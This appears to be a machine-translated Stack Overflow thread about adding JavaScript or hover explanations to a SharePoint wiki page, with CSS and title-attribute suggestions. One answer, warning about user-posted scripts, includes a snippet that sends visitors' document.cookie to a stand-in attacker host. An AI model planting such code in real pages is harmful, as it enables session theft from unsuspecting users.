2008-09-17 16 views
5

wikiの管理者として、どのようにしてSharepoint wikiページにスクリプト(Javascript)を入力できますか?

私はタイトルを入力したいと思います。そのタイトルをクリックすると、小さな説明が表示されます。私は通常、javascript、他のアイデアでそれをしていますか?WikiページにJavascriptを入力するには?

+1

あなたはwikiサイトの管理者ですか、それともユーザーだけではありませんか? – sblundy

+0

それはすべてを変えます。あなたの質問を更新し、あなたのwikiプラットフォームを含めてください。 – sblundy

+0

あなたはこの1つを 'html'とタグ付けすることもできます – Nate

答えて

4

あなたはwikiの管理者であり、クリックではなくマウスオーバーでこれを表示すると仮定すると、JavaScriptはまったく必要ありません。まっすぐなCSSを使用できます。ここではスタイルやマークアップの例です:いくつかのより複雑なスタイルで

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" 
    "http://www.w3.org/TR/html4/strict.dtd"> 
<html> 
<head> 
    <title>Test</title> 
    <style type="text/css"> 
    h1 { padding-bottom: .5em; position: relative; } 
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; } 
    h1:hover span { display: block; } 
    </style> 
</head> 
<body> 
    <h1>Here is the title! 
    <span>Here is a little explanation</span> 
    </h1> 
    <p>Here is some page content</p> 
</body> 
</html> 

、あなたのツールヒントボックスを使用すると、好きなように素敵に見えることができます。

0

セキュリティリスクのように思えます。 wiki管理者がスクリプトをインストールする可能性があります。wikipedia's user scriptsを参照してください。

+0

私はwiki管理者です – Aidenn

0

パブリックWikiのjavascriptコードを追加することはできません。自分でホストしている場合は、特定のWikiシステムを頼む必要がありますので、誰かが設定を変更するのを手助けすることができます。

0

このサイトのウェブページの一部としてJavascriptを使用することについて話しているのなら、それをすることはできません。それ以外の公共Wikiはセキュリティ上のリスクです。

コードサンプルの投稿については、テキストボックスの上にある「101010」ボタンをクリックしてください。

0

もちろん、あなたが話しているwikiエンジンに依存します。ほとんどの場合、sblundyによると、wikiページでjavascriptを無料で使用できるようにすることはセキュリティ上のリスクになります。

1

これは、使用している特定のWikiソフトウェアに完全に依存しています。私が仕事を見たのは、jsファイルを別の場所にホストして、src属性を持つスクリプトタグを組み込むことです。

これが許可されていない場合は、スクリプトを含むページに設定できるIFRAMEが許可されている可能性があります。 2番目の手法を使用すると、ホストページのDOMにアクセスできなくなります。

0

title="text here"を任意のタグに追加します。ホバーするとテキストが表示されます。
alt="text here"属性を使用すると、標準に準拠していませんが、Internet Explorerにテキストが表示されます。

私は現在テストしており、ウィキメディア(ウィキペディアが使用するシステム)に基づいて任意のシステムに<h2 title="some explanation here">headline</h2>を追加できます。

9

wikiの著者が賢明なら、おそらくこれを行う方法はありません。

ユーザーが投稿したJavaScriptの問題点は、悪意のある行為者がすべての形の悪意のある人物が疑念のないデータを取得できるようにするということです。

i = new Image(); 
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie; 

今、私は自分のサーバー上のログに投稿された、ページへの各訪問者のクッキー情報を受信します:

はのは、邪悪な、私は公共のウェブサイト上でスクリプトをポストとしましょう。そしてそれはちょうど氷山の先端です。

1

私はCSSの答えが好きです。 Javascriptの代わりにCSSを使用すると、マークアップが簡単になります。
また、CodeplexのSharePoint拡張Wiki Edition用コミュニティキットもあります。ソースコードをダウンロードして独自の機能を追加することができます。または、これをフォーラムの新しい機能として提案することもできます。

関連する問題